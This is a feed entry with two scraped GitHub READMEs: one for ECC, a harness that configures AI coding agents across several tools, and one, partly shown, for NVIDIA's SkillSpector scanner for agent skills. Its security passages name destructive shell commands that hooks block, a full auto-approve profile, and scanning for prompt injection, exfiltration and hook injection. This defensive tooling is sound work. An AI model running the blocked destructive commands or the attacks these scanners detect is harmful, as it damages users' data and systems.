\n| Capability | \nClaude Code | \nCodex | \nCursor | \nOpenCode | \nGitHub Copilot | \n
|---|---|---|---|---|---|
| Instructions | \nNative | \nNative AGENTS.md | \n Project rules | \nPlugin instructions | \nNative instruction file | \n
| Skills | \nNative installed set | \nNative plugin set | \nBuild-dependent/project set | \nBuilt subset | \nNative discovery (Copilot CLI) from .github/skills/, .agents/skills/, .claude/skills/ | \n
| Agents/delegation | \nNative agents | \nCodex multi-agent roles; Claude agent files are not installed as roles | \nBuild-dependent project agents | \nPlugin agents | \nCopilot CLI custom agents via .github/agents/ and --agent | \n
| ECC hooks | \nNative plugin hooks | \nNative reviewed subset with explicit trust | \nCursor hook adapter; install-path differences remain | \nPlugin events | \nNot ported; Copilot CLI has its own plugin hook system | \n
| MCP configuration | \nAvailable, explicit activation | \nNative plugin manifest; legacy sync can merge TOML | \nExplicit project/user config | \nProvider/plugin config | \nNot supplied by ECC | \n
| Parity with Claude Code | \nPrimary reference | \nPartial | \nPartial | \nPartial | \nPartial | \n
Key architectural decisions:
\n.github/copilot-instructions.md instead)AGENTS.md, optional model_instructions_file overrides, and sandbox permissionsECC provides Cursor IDE support with hooks, rules, agents, skills, commands, and MCP configs adapted for Cursor's project layout.
\n# macOS/Linux\n./install.sh --target cursor typescript\n./install.sh --target cursor python golang swift php\n# Windows PowerShell\n.\\install.ps1 --target cursor typescript\n.\\install.ps1 --target cursor python golang swift php\n| Component | \nCount | \nDetails | \n
|---|---|---|
| Hook Events | \n15 | \nsessionStart, beforeShellExecution, afterFileEdit, beforeMCPExecution, beforeSubmitPrompt, and 10 more | \n
| Hook Entrypoints | \n15 | \nThin Node.js event dispatchers delegating to scripts/hooks/ via shared adapter | \n
| Rules | \n34 | \n9 common (alwaysApply) + 25 language-specific (TypeScript, Python, Go, Swift, PHP) | \n
| Agents | \n48 | \n.cursor/agents/ecc-*.md when installed; prefixed to avoid collisions with user or marketplace agents | \n
| Skills | \nShared + Bundled | \n.cursor/skills/ for translated additions | \n
| Commands | \nShared | \n.cursor/commands/ if installed | \n
| MCP Config | \nShared | \n.cursor/mcp.json if installed | \n
ECC does not install root AGENTS.md into .cursor/. Cursor treats nested AGENTS.md files as directory context, so copying ECC's repo identity into a host project would pollute that project.
Cursor-native loading behavior can vary by Cursor build. ECC installs agents as .cursor/agents/ecc-*.md; if your Cursor build does not expose project agents, those files still work as explicit reference definitions instead of hidden global prompt context.
ECC memory hooks reuse the same scripts/hooks/*.js as Claude Code. For Cursor, ECC tries to keep memory out of ~/.claude automatically:
sessionStart hook (installed to .cursor/hooks.json on --target cursor) injects ECC_AGENT_DATA_HOME for the whole composer session.CURSOR_VERSION or CURSOR_PROJECT_DIR is present, hooks default to ~/.cursor/ecc if the env var is unset..cursor/ecc-agent-data.json documents and overrides the path (agentDataHome)..cursor/rules/ecc-agent-data-home.mdc reminds the agent where memory lives.You can still override explicitly:
\nexport ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\nTo share memory with Claude Code on purpose, set ECC_AGENT_DATA_HOME=~/.claude in the shell or in .cursor/ecc-agent-data.json.
Continuous learning v2 instincts remain separate under CLV2_HOMUNCULUS_DIR (default ~/.local/share/ecc-homunculus).
Cursor has more hook events than Claude Code (20 vs 8). The .cursor/hooks/adapter.js module transforms Cursor's stdin JSON to Claude Code's format, allowing existing scripts/hooks/*.js to be reused without duplication. Each Cursor event is registered with one event-level dispatcher so enabled checks run in a deterministic order and remain compatible with Cursor versions that execute only the first matching entry. The adapter resolves the shared runtime from both the ECC checkout and an installed project's .cursor/scripts/ tree.
Cursor stdin JSON -> adapter.js -> transforms -> scripts/hooks/*.js\n (shared with Claude Code)\nKey hooks:
\nCursor rules use YAML frontmatter with description, globs, and alwaysApply:
---\ndescription: \"TypeScript coding style extending common rules\"\nglobs: [\"**/*.ts\", \"**/*.tsx\", \"**/*.js\", \"**/*.jsx\"]\nalwaysApply: false\n---\nECC provides a supported native Codex marketplace plugin and repo-local configuration for the macOS app and CLI. The native plugin carries shared skills, MCP configuration, and a reviewed hook subset; Codex keeps hook trust under explicit user control. The older sync path remains compatibility-only. For repo navigation, surface ownership, and PR diff packet guidance, start with docs/CODEX-NAVIGATION-GUIDE.md.
# Recommended current install: add ECC's native plugin from the repo marketplace\ncodex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\n\n# Or run Codex CLI in the repo: AGENTS.md and .codex/ are auto-detected\ncodex\nLegacy copied-configuration compatibility is still available when you intentionally need it:
\n# Compatibility-only managed sync into ~/.codex\nnpm install && bash scripts/sync-ecc-to-codex.sh\n\n# Or copy only the reference config manually\ncp .codex/config.toml ~/.codex/config.toml\nNormal MCP sync preserves existing server settings and warns when they differ from ECC's recommendation. An existing chrome-devtools-mcp@latest entry therefore stays unchanged; updating the repository alone does not adopt the recommended chrome-devtools-mcp@1.10.1 pin. Existing legacy-sync users can preview and explicitly apply the refresh from the updated ECC checkout:
bash scripts/sync-ecc-to-codex.sh --dry-run --update-mcp\nbash scripts/sync-ecc-to-codex.sh --update-mcp\nReview the preview before applying: --update-mcp replaces the entire recommended chrome-devtools server section, including custom command arguments and nested settings. Unrelated user-managed servers remain in place. Retired defaults such as Context7 are not refreshed or migrated by this flag.
Codex macOS app:
\nAGENTS.md is auto-detected..codex/config.toml and .codex/agents/*.toml work best when kept project-local..codex/config.toml intentionally does not pin model or model_provider, so Codex uses its own current default unless you override it..codex/config.toml to ~/.codex/config.toml for global defaults; keep the multi-agent role files project-local unless you also copy .codex/agents/.| Component | \nCount | \nDetails | \n
|---|---|---|
| Config | \n1 | \n.codex/config.toml: top-level approvals/sandbox/web_search, MCP servers, notifications, profiles | \n
| AGENTS.md | \n2 | \nRoot (universal) + .codex/AGENTS.md (Codex-specific supplement) | \n
| Skills | \n32 | \n.agents/skills/: SKILL.md + agents/openai.yaml per skill | \n
| MCP Servers | \n6 legacy reference entries | \nGitHub, Context7, Exa, Memory, Playwright, Sequential Thinking. Current managed sync recommends chrome-devtools; see the explicit refresh instructions above. | \n
| Profiles | \n2 | \nstrict (read-only sandbox) and yolo (full auto-approve) | \n
| Agent Roles | \n3 | \n.codex/agents/: explorer, reviewer, docs-researcher | \n
Skills at .agents/skills/ are auto-loaded by Codex. Canonical Anthropic skills such as claude-api, frontend-design, and skill-creator are intentionally not re-bundled here. Install those from anthropics/skills when you want the official versions.
Codex does not provide Claude-style hook execution parity. The native ECC plugin includes a reviewed hook subset that requires explicit trust in /hooks; AGENTS.md, optional model_instructions_file overrides, and sandbox/approval settings provide the remaining instruction and policy layers.
Current Codex builds support stable multi-agent workflows.
\nfeatures.multi_agent = true in .codex/config.toml[agents.<name>].codex/agents//agent in the CLI to inspect or steer child agentsECC ships three sample role configs:
\n| Role | \nPurpose | \n
|---|---|
explorer | \n Read-only codebase evidence gathering before edits | \n
reviewer | \n Correctness, security, and missing-test review | \n
docs_researcher | \n Documentation and API verification before release/docs changes | \n
ECC provides Zed project support through a conservative .zed adapter for project-local settings, flattened rules, agents, commands, and skills.
./install.sh --profile minimal --target zed\n.\\install.ps1 --profile minimal --target zed\nThe adapter writes ECC-managed files under .zed/ and keeps BYOK/OpenRouter credentials out of the repo. Configure Zed account or API keys through Zed's own settings UI or your local user settings.
ECC provides a beta OpenCode plugin integration with instructions, a catalog subset, commands, custom tools, and hook events. It does not provide feature parity with Claude Code. The reference config inherits the user's OpenCode model selection instead of pinning a provider-specific model.
\n# Run your reviewed OpenCode installation in the repository root\nopencode\nFor installation, use the official OpenCode instructions, select an exact release, and verify it before execution. The upstream npm package is opencode-ai, not opencode. ECC does not attest to an audited OpenCode runtime version.
The configuration is automatically detected from .opencode/opencode.json.
OpenCode's plugin system has 20+ event types:
\n| Claude Code Hook | \nOpenCode Plugin Event | \n
|---|---|
| PreToolUse | \ntool.execute.before | \n
| PostToolUse | \ntool.execute.after | \n
| Stop | \nsession.idle | \n
| SessionStart | \nsession.created | \n
| SessionEnd | \nsession.deleted | \n
Additional OpenCode events: file.edited, file.watcher.updated, message.updated, lsp.client.diagnostics, tui.toast.show, and more.
Option 1: Use directly
\ncd ECC\nopencode\nOption 2: Install as npm package
\nnpm install ecc-universal@2.2.3\nThen add to your opencode.json:
{\n \"plugin\": [\"ecc-universal\"]\n}\nThat npm plugin entry enables ECC's published OpenCode plugin module (hooks/events and plugin tools). It does not automatically add ECC's full command/agent/instruction catalog to your project config.
\nFor the full ECC OpenCode setup, either:
\n.opencode/ config assets into your project and wire the instructions, agent, and command entries in opencode.json.opencode/MIGRATION.md.opencode/README.md.opencode/instructions/INSTRUCTIONS.mdllms.txt (complete OpenCode docs for LLMs)ECC supports GitHub Copilot on two surfaces: Copilot Chat in VS Code, via its native instruction and prompt file system, and GitHub Copilot CLI, which discovers the shared skills already present in this repository. The optional copilot install target places canonical skills and adapted agents in the CLI's native project directories.
| Component | \nFile | \nPurpose | \n
|---|---|---|
| Core instructions | \n.github/copilot-instructions.md | \n Always-loaded rules: coding style, security, testing, git workflow | \n
| VS Code settings | \n.vscode/settings.json | \n Per-task instruction files for code gen, test gen, and commit messages | \n
| Plan prompt | \n.github/prompts/plan.prompt.md | \n Phased implementation planning | \n
| TDD prompt | \n.github/prompts/tdd.prompt.md | \n Red-Green-Improve cycle | \n
| Security review prompt | \n.github/prompts/security-review.prompt.md | \n Deep OWASP-aligned security analysis | \n
| Build fix prompt | \n.github/prompts/build-fix.prompt.md | \n Systematic build and CI error resolution | \n
| Refactor prompt | \n.github/prompts/refactor.prompt.md | \n Dead code cleanup and simplification | \n
The files are already in place: open any repo that contains this project and GitHub Copilot Chat will automatically pick up .github/copilot-instructions.md. The committed .vscode/settings.json enables chat.promptFiles so VS Code can load the reusable prompts from .github/prompts/.
To use the workflow prompts in Copilot Chat:
\n/ and choose a prompt.plan, tdd, security-review).GitHub Copilot CLI discovers SKILL.md skills from .github/skills/, .agents/skills/, .claude/skills/, ~/.copilot/skills/, and ~/.agents/skills/, and custom agents from .github/agents/. ECC's skill and skill frontmatter is compatible. The managed copilot target adapts agent frontmatter to name and description, removing Claude-specific model and tool keys. Raw manual agent copies can retain unsupported metadata.
Because ECC ships a skill subset in .agents/skills/, a plain clone of this repository is picked up by Copilot CLI with no configuration at all:
git clone https://github.com/affaan-m/ECC.git && cd ECC\ncopilot skill list\n# The inventory depends on the checkout and CLI version.\nIn the contributor's September 2026 checkout, Copilot CLI 1.0.83 reported all 42 under Project skills with source: \"project\" and enabled: true. The three from .claude/commands/ are Claude command files that Copilot surfaces as skills; they are reported with path set to the .claude/commands directory rather than to a per-skill subdirectory.
To check this with a temporary npm-distributed CLI, run the pinned build against a throwaway clone:
\ngit clone --depth 1 https://github.com/affaan-m/ECC.git && cd ECC\nnpx -y @github/copilot@1.0.82 skill list --json | jq '[.[] | select(.source==\"project\")] | length'\n# Count the current inventory rather than assuming a fixed total.\nThat checkout's 39 + 3 split was reported by 1.0.82 from npm and by 1.0.83 installed locally, so the behaviour is not specific to one build or install method.
\nTo expose the full catalog, place skills/ where Copilot CLI looks:
mkdir -p .github/skills\ncp -r skills/. .github/skills/\ncopilot skill list --json > copilot-skills.json\njq '[.[] | select(.path | contains(\".github/skills\"))] | length' copilot-skills.json\n# Compare with the current canonical skill catalog.\nFilter on the path rather than on source: the CLI can also discover skills from other project locations and de-duplicates entries with the same skill name. Counts depend on the checkout and CLI version. The file redirection also avoids truncated large JSON output observed with Copilot CLI 1.0.82 on macOS.
Copilot registers a skill under the name in its SKILL.md frontmatter, not its directory name, so catalog folders whose names differ from their frontmatter (for example scientific-db-pubmed-database, which declares name: pubmed-database) still load \u2014 they are just listed under the frontmatter name.
Agents work the same way:
\n./install.sh --profile full --target copilot\ncopilot --agent architect -p \"Review this module's boundaries\"\nThe contributor verified native discovery with Copilot CLI 1.0.83. Manually copied agent files that declare a Claude model name (model: opus, model: sonnet) emit a warning and fall back to the session's default model, so remove or remap model: if you want to pin one.
copilot targetThe steps above copy files by hand. The copilot install target does the same placement and additionally rewrites agent frontmatter so no warning is emitted:
./install.sh --profile full --target copilot\n# Windows: ./install.ps1 --profile full --target copilot\nThat writes skills to .github/skills/, agents to .github/agents/, and an install-state file to .github/ecc-install-state.json. Nothing is written outside .github/.
The full profile selects the modules declared for Copilot. It can place fewer skills than a manual copy of the entire canonical catalog because modules that require another host's runtime are excluded. List the resulting native inventory to see what this checkout installs; a count is not a capability grant.
Claude-only agent frontmatter (model, tools, color) is dropped during the copy: Copilot resolves the model from your own configuration, and it governs tool access per session through --allow-tool/--deny-tool rather than through agent frontmatter. ECC's rules, commands, and hooks are not installed by this target.
| ECC Feature | \nCopilot equivalent | \n
|---|---|
| Coding standards | \nAlways-on via copilot-instructions.md | \n
| Security checklist | \nAlways-on + security-review prompt | \n
| Testing / TDD | \nAlways-on + tdd prompt | \n
| Implementation planning | \nplan prompt | \n
| Code review | \nExternal PR review via CodeRabbit + Greptile | \n
| Build error resolution | \nbuild-fix prompt | \n
| Refactoring | \nrefactor prompt | \n
| Commit message format | \nPer-task instruction in settings.json | \n
| Skills | \nNative discovery in Copilot CLI (.github/skills/, .agents/skills/) | \n
| Agents / delegation | \nCopilot CLI custom agents (.github/agents/, --agent) | \n
| Hooks / automation | \nECC's hooks are not ported (Copilot CLI has its own plugin hook system) | \n
ECC's hook automations (auto-format, TypeScript check, session persistence, dev-server guard) are written against Claude Code's hook event model and are not ported to Copilot. Copilot CLI does expose a hook system through its plugin format, but ECC does not currently ship a Copilot plugin, so none of ECC's hooks run there.
\nECC also does not install rules, commands, or hooks for Copilot. The copilot target installs skills and agents only. Skills that shell out to bundled scripts assume the same interpreters as on Claude Code. Copilot Chat in VS Code does not read .github/skills/ or .github/agents/; those paths are Copilot CLI surfaces. The instruction and prompt layer is what carries ECC's coding philosophy into Copilot Chat sessions.
ECC v2.0.0 stabilizes the 2.0 line with the public Hermes operator story, 281 skills, 67 agents, 94 command shims, session adapters, MCP inventory, worktree lifecycle services, orchestrator workflows, and the ECC Discord community.
\n \nAgent usage can be expensive if you don't manage token consumption. These settings significantly reduce costs without sacrificing quality. Full guide: docs/token-optimization.md.
\nAdd to ~/.claude/settings.json:
{\n \"model\": \"sonnet\",\n \"env\": {\n \"CLAUDE_CODE_EFFORT_LEVEL\": \"medium\",\n \"CLAUDE_AUTOCOMPACT_PCT_OVERRIDE\": \"50\",\n \"CLAUDE_CODE_SUBAGENT_MODEL\": \"haiku\"\n }\n}\nThe effort setting requires a model that supports effort controls. On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, the sonnet alias currently resolves to Sonnet 4.5, which does not support effort controls. Select an effort-capable model available from your provider, or omit CLAUDE_CODE_EFFORT_LEVEL.
| Setting | \nDefault | \nRecommended | \nImpact | \n
|---|---|---|---|
model | \n opus | \nsonnet | \n~60% cost reduction; handles 80%+ of coding tasks | \n
CLAUDE_CODE_EFFORT_LEVEL | \n Model-dependent | \nmedium, if supported | \nControls adaptive reasoning depth on models that support effort controls; lower effort trades reasoning depth for latency and cost | \n
CLAUDE_AUTOCOMPACT_PCT_OVERRIDE | \n 95 | \n50 | \nCompacts earlier, better quality in long sessions | \n
ECC_CONTEXT_MONITOR_COST_WARNINGS | \n on | \noff for subscription users | \nSuppresses agent-facing API-rate estimate warnings while keeping context/scope/loop warnings | \n
For fixed-budget models, MAX_THINKING_TOKENS controls the thinking budget. On Opus 4.6 or Sonnet 4.6, also set CLAUDE_CODE_DISABLE_ADAPTIVE_THINKING=1 to use that mode. A positive token value does not cap adaptive reasoning; see the performance rule.
Switch to Opus only when you need deep architectural reasoning:
\n/model opus\n| Command | \nWhen to Use | \n
|---|---|
/model sonnet | \n Default for most tasks | \n
/model opus | \n Complex architecture, debugging, deep reasoning | \n
/clear | \n Between unrelated tasks (free, instant reset) | \n
/compact | \n At logical task breakpoints (research done, milestone complete) | \n
/cost | \n Monitor token spending during session | \n
If you use a subscription and the context monitor's API-rate estimates are not useful, set ECC_CONTEXT_MONITOR_COST_WARNINGS=off. This only suppresses the agent-facing cost warnings; it does not disable context exhaustion, scope, or loop warnings.
The strategic-compact skill suggests /compact at logical breakpoints instead of relying on auto-compaction at 95% context. See skills/strategic-compact/SKILL.md for the full decision guide.
When to compact:
\nWhen NOT to compact:
\nCritical: Don't enable all MCPs at once. Each MCP tool description consumes tokens from your 200k window, potentially reducing it to ~70k.
\n/mcp to disable unused Claude Code MCP servers; those runtime choices persist in ~/.claude.jsonECC_DISABLED_MCPS only to filter ECC-generated MCP configs during install/sync flows/context-budget and remove rules you do not needAgent teams cost warning: Agent Teams spawns multiple context windows. Each teammate consumes tokens independently. Only use for tasks where parallelism provides clear value (multi-module work, parallel reviews). For simple sequential tasks, subagents are more token-efficient.
\nMinimum version: v2.1.0 or later. The plugin requires Claude Code CLI v2.1.0+ due to changes in how the plugin system handles hooks.
\nCheck your version:
\nclaude --version\n\n\nWARNING: For Contributors: Do NOT add a
\n\"hooks\"field to.claude-plugin/plugin.json. This is enforced by a regression test.
Claude Code v2.1+ automatically loads hooks/hooks.json from any installed plugin by convention. Explicitly declaring it in plugin.json causes a duplicate detection error:
Duplicate hooks file detected: ./hooks/hooks.json resolves to already-loaded file\nHistory: This has caused repeated fix/revert cycles in this repo (#29, #52, #103). The behavior changed between Claude Code versions, leading to confusion. There is now a regression test to prevent this from being reintroduced.
\nInstall ECC only from official sources:
\necc@eccecc-universal and ecc-agentshieldScan a project with an already installed, reviewed AgentShield binary (see runner provenance):
\nagentshield scan --path .\nrm, force/path git checkout, and destructive find -exec) before they run; the supply-chain IOC scanner runs in CI; and AgentShield audits your own agent, hook, MCP, permission, and secret surfaces (/security-scan).Hooks can run shell commands, MCP servers can hold credentials, and project instructions can enter an agent's context. Treat all three as executable configuration.
\nDo not copy raw hooks/hooks.json into ~/.claude/settings.json after a plugin install. Modern Claude Code versions load plugin hooks automatically, and a second copy can make them fire twice.
Use /mcp for Claude Code runtime disables; Claude Code persists those choices in ~/.claude.json.
ECC_DISABLED_MCPS is an ECC install/sync filter, not a live Claude Code toggle.
If context is getting heavy, run /context-budget, remove rules you do not need, and disable unused MCP servers. See the token optimization guide.
Security references:
\n \nTwo ways to generate skills from your repository:
\nUse the /skill-create command for local analysis without external services:
/skill-create # Analyze current repo\n/skill-create --instincts # Also generate instincts for continuous-learning-v2\nThis analyzes your git history locally and generates SKILL.md files.
\nFor advanced features (10k+ commits, auto-PRs, team sharing):
\nInstall ECC Tools GitHub App | ecc.tools
\n# Comment on any issue:\n/ecc-tools analyze\nBoth options create:
\n\n\nBuilt at the Claude Code Hackathon (Cerebral Valley x Anthropic, Feb 2026). 1282 tests, 98% coverage, 102 static analysis rules.
\n
Scan your agent configuration for vulnerabilities, misconfigurations, and injection risks.
\n Runner provenance: these commands require an already installed, reviewed AgentShield binary from ecc-agentshield. The official package documents the agentshield CLI. Record the selected release, reviewed source and verified package integrity in your installation record. Registry publication alone does not establish an audit; ECC does not supply an audited AgentShield pin here. Do not substitute an unversioned one-shot download. /security-scan is workflow guidance and has the same runner prerequisite.
# Scan only the intended project directory\nagentshield scan --path .\n\n# Auto-fix safe issues\nagentshield scan --path . --fix\n\n# Deep analysis with three Opus 4.6 agents\nagentshield scan --path . --opus --stream\n\n# Generate secure config from scratch\nagentshield init\nWhat it scans: CLAUDE.md, settings.json, MCP configs, hooks, agent definitions, and skills across 5 categories: secrets detection (14 patterns), permission auditing, hook injection analysis, MCP server risk profiling, and agent config review.
\nThe --opus flag runs three Claude Opus 4.6 agents in a red-team/blue-team/auditor pipeline. The attacker finds exploit chains, the defender evaluates protections, and the auditor synthesizes both into a prioritized risk assessment. Adversarial reasoning, not just pattern matching.
Output formats: Terminal (color-graded A-F), JSON (CI pipelines), Markdown, HTML. Exit code 2 on critical findings for build gates.
\nUse /security-scan in Claude Code to run it, or add to CI with the GitHub Action.
The instinct-based learning system automatically learns your patterns:
\n/instinct-status # Show learned instincts with confidence\n/instinct-import <file> # Import instincts from others\n/instinct-export # Export your instincts for sharing\n/evolve # Cluster related instincts into skills\nSee skills/continuous-learning-v2/ for full documentation. Keep continuous-learning/ only when you explicitly want the legacy v1 Stop-hook learned-skill flow.
The usual cause is installing the Claude plugin and then running ./install.sh --profile full on top of it.
node scripts/ecc.js uninstall --dry-run from the ECC checkout.For hook-specific checks, see the hooks README.
\nDo NOT add a \"hooks\" field to .claude-plugin/plugin.json. Claude Code v2.1+ automatically loads hooks/hooks.json from installed plugins. Explicitly declaring it causes duplicate detection errors. See #29, #52, #103.
Run the cache check from an ECC checkout:
\nnode scripts/codex/check-plugin-cache.js\nIf it reports unresolved parent references, refresh the native cache with codex plugin marketplace upgrade ecc, run codex plugin add ecc@ecc again, and restart Codex. Registration in codex plugin list confirms the marketplace entry, while the cache check verifies that the installed manifest can resolve its skills, MCP configuration, and assets. Use bash scripts/sync-ecc-to-codex.sh only when you intentionally need the legacy copied-configuration compatibility path.
More answers: TROUBLESHOOTING.md covers memory, hooks, installation, performance, and common error messages. docs/TROUBLESHOOTING.md tracks workarounds for open Claude Code bugs.
\nThe plugin includes a comprehensive test suite:
\n# Run all tests\nnode tests/run-all.js\n\n# Run individual test files\nnode tests/lib/utils.test.js\nnode tests/lib/package-manager.test.js\nnode tests/hooks/hooks.test.js\nI've been using Claude Code since the experimental rollout. Won the Anthropic x Forum Ventures hackathon in Sep 2025 with @DRodriguezFX, built zenith.chat entirely with agentic workflows.
\nThese configs are battle-tested across multiple production applications.
\nECC stays free because sponsors and Pro users fund the work. Sponsor logos are at the top of this README; the full roster and tiers are in SPONSORS.md.
\nECC Pro adds private-repo analysis, PR-triggered audits, AgentShield-backed scanning, automatic push and PR checks, pooled team usage, and priority support through the hosted GitHub App.
\n| ECC Pro Hosted GitHub App for private repos | \n Sponsor ECC Fund the OSS work | \n Community Q&A, ideas, and Show and Tell | \n GitHub App PR audits and hosted workflows | \n
Contributions are welcome across skills, agents, rules, hooks, docs, tests, adapters, and security improvements.
\nThe short version:
\nskills/your-skill-name/SKILL.md (with YAML frontmatter)agents/your-agent.mdIdeas for contributions:
\nMIT. Use it freely, adapt it to your workflow, and contribute back when you can.
\nStar this repo if it helps. Read the guides. Build something great.
", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n {\"url\": string, \n 'mime_type': string, \n 'title': strinrg,\n 'size_in_bytes': int,\n 'duration_in_seconds': int\n "]}, {"id": "https://github.com/NVIDIA/SkillSpector", "url": "https://github.com/NVIDIA/SkillSpector", "external_url": null, "title": "NVIDIA/SkillSpector", "content_text": "", "content_html": "Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, security risks, prompt injection, data exfiltration, and supply-chain risks in Claude Code, Codex, and MCP skills before you install them.
https://docs.nvidia.com/skills/scanning-agent-skills
Security scanner for AI agent skills. Detect vulnerabilities, malicious patterns, and security risks before installing agent skills.
\n![\"Python](\"https://img.shields.io/badge/python-3.12+-blue.svg?sanitize=true\"){kind=icon}
AI agent skills (used by Claude Code, Codex CLI, Gemini CLI, etc.) execute with implicit trust and minimal vetting. In the 31,132-skill analyzed subset of the research dataset, 26.1% of skills contain vulnerabilities and 5.2% show likely malicious intent.
\nSkillSpector helps you answer: \"Is this skill safe to install?\"
\nSkillSpector is part of the NVIDIA Verified Skills pipeline, which scans, evaluates, and signs agent skills before publication. Skills that pass are published to the NVIDIA skills catalog.
\n/skillspector command for scanning skills from inside agent sessions.\n\nOpen-source software notice: This project will download and install additional third-party open source software projects. Review the license terms of these open source projects before use.
\n
Create and activate a virtual environment first (all make targets assume the venv is active). Use uv or pip; the Makefile uses uv if available, otherwise pip.
Quick install with uv (CLI-only):
\nuv tool install git+https://github.com/NVIDIA/skillspector.git\n# Update later: uv tool update skillspector\nIf you plan to run skillspector mcp, install the MCP extra at install time:
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\nFrom source:
\n# Clone the repository\ngit clone https://github.com/NVIDIA/skillspector.git\ncd skillspector\n\n# Create and activate virtual environment\nuv venv .venv && source .venv/bin/activate\n# or: python3 -m venv .venv && source .venv/bin/activate\n\n# Install for production use\nmake install\n\n# Or install with development dependencies\nmake install-dev\nRun SkillSpector without installing Python by building it locally from the included Dockerfile. The image is based on the Docker Official Python 3.12-slim-bookworm image.
Build the image:
\nmake docker-build\n# or: docker build -t skillspector .\nScan a local directory by mounting your current directory into /scan, the container's working directory:
docker run --rm -v \"$PWD:/scan\" skillspector scan ./my-skill/ --no-llm\nScan with LLM analysis by passing credentials with a local .env file:
cat > .env <<'EOF'\nSKILLSPECTOR_PROVIDER=anthropic\nANTHROPIC_API_KEY=sk-ant-...\nEOF\ndocker run --rm \\\n -v \"$PWD:/scan\" \\\n --env-file .env \\\n skillspector scan ./my-skill/\nOr pass credentials directly from your shell environment:
\ndocker run --rm \\\n -v \"$PWD:/scan\" \\\n -e SKILLSPECTOR_PROVIDER=anthropic \\\n -e ANTHROPIC_API_KEY=\"$ANTHROPIC_API_KEY\" \\\n skillspector scan ./my-skill/\nWrite a report to the host filesystem by writing to the mounted directory:
\ndocker run --rm --user \"$(id -u):$(id -g)\" \\\n -v \"$PWD:/scan\" \\\n skillspector scan ./my-skill/ --no-llm --format json --output report.json\nOptional alias for repeated static scans:
\nalias skillspector-docker='docker run --rm -v \"$PWD:/scan\" skillspector'\nskillspector-docker scan ./my-skill/ --no-llm\n# Scan a local skill directory\nskillspector scan ./my-skill/\n\n# Scan a single SKILL.md file\nskillspector scan ./SKILL.md\n\n# Scan a Git repository\nskillspector scan https://github.com/user/my-skill\n\n# Scan a zip file\nskillspector scan ./my-skill.zip\nSkillSpector enforces two independent caps on remote and archive inputs to bound the impact of oversized downloads and zip bombs:
\nINGEST_MAX_BYTES (100 MiB) \u2014 applied to streamed URL downloads, total uncompressed size of zip archives, and post-clone disk usage of Git repos.INGEST_MAX_ZIP_MEMBERS (10,000) \u2014 caps the number of entries in a single zip.Note that the per-file 1 MB analysis cap (MAX_FILE_BYTES) is a separate, downstream limit: it bounds what individual analyzers will read out of an already-ingested directory. The ingest caps above bound how much content can land on disk in the first place. A breach of either ingest cap fails closed with an IngestLimitExceededError.
# Terminal output (default) - pretty formatted\nskillspector scan ./my-skill/\n\n# JSON output - machine readable\nskillspector scan ./my-skill/ --format json --output report.json\n\n# Markdown output - for documentation\nskillspector scan ./my-skill/ --format markdown --output report.md\n\n# SARIF output - for CI/CD integration and IDE tooling\nskillspector scan ./my-skill/ --format sarif --output report.sarif\nScan entire directories of skills in parallel from contrib/batch_scan/:
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm\npython -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json\npython -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20\nSupports multilingual detection (zh/ja/ko) and terminal/JSON/Markdown output.
\nFor LLM scans with higher concurrency, configure multiple API keys following .env.example \u2014 the pool improves throughput and resilience, provided the keys don't share an account-level rate limit.
See the contrib guide for details.
\n\n\nNote on LLM support: The default configuration targets DeepSeek as the cheapest public option. DeepSeek-Chat is expected to sunset, and the contributor does not have hardware to test against local models. The batch scanner was originally tested with OpenAI-compatible endpoints \u2014 DeepSeek's lack of structured-output support required manual JSON-parsing patches. If you can contribute a more universal backend (Ollama, vLLM, or a different provider), PRs are very welcome.
\n
Start with raw registry payload captures (registry-before.json and registry-after.json). Save a scan report as previous.json, then compare a later scan against that generated local report:
skillspector scan registry-before.json --mcp-registry --format json --output previous.json\nskillspector scan registry-after.json --mcp-registry --format json \\\n --mcp-registry-compare previous.json --output compared.json\nThe optional comparison object lists added and removed server identities, changed normalized fields with their previous and current values, and an unchanged_count. Identity is the server name and version, so a new version appears as an addition and the old version as a removal if it is absent from the new scan. Acquisition source and scan timestamp are excluded from comparison. unmodeled_changes lists same-identity records whose raw-record hash changed while normalized fields match; these are not counted as unchanged. This can indicate a change to fields outside the snapshot model, or array reordering in the raw record. Package and remote ordering alone is not a normalized field change. Entries in changed may also contain changes outside the snapshot model; inspect the raw record to see those changes. Compare reports with the same selection scope: a server absent from the current input is reported as removed, which does not prove it was removed from a registry.
The comparison file must be a local report produced by this registry mode with valid normalized snapshots. Malformed, oversized or duplicate server identities are rejected. This option requires --mcp-registry and is separate from the finding-suppression --baseline: it never suppresses findings or changes risk scores, and it does not fetch or execute listed server endpoints.
Registry mode rejects skill-only controls such as --use-shipped-baseline, --transitive, --transitive-depth, --transitive-allow-prefix, and --transitive-deny-prefix with exit code 2, including an explicitly supplied default depth (--transitive-depth 1). Omit these options for registry scans.
Suppress known/accepted findings so the risk score reflects only un-triaged issues and re-scans surface only new findings. See the suppression guide for the full reference.
\n# Accept all current findings into a baseline (run once), then commit it.\nskillspector baseline ./my-skill/ -o .skillspector-baseline.yaml\n\n# Scan against the baseline \u2014 only NEW findings are reported and scored.\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml\n\n# Review what was suppressed (still excluded from the score).\nskillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed\nA baseline can also use drift-tolerant glob rules (by rule id, file path, or message) \u2014 see .skillspector-baseline.example.yaml. Exact fingerprint baselines are evidence-bound: changing the scanned source or SkillSpector version keeps the finding active until it is reviewed again. When a selected baseline or baseline output is stored inside the skill directory, SkillSpector excludes that exact file from content analysis so its suppression text cannot create findings or enter regenerated fingerprints; sibling files remain in normal scan scope.
For a local directory containing one SKILL.md or skill.md, repeat --exclude to omit selected files before content analysis:
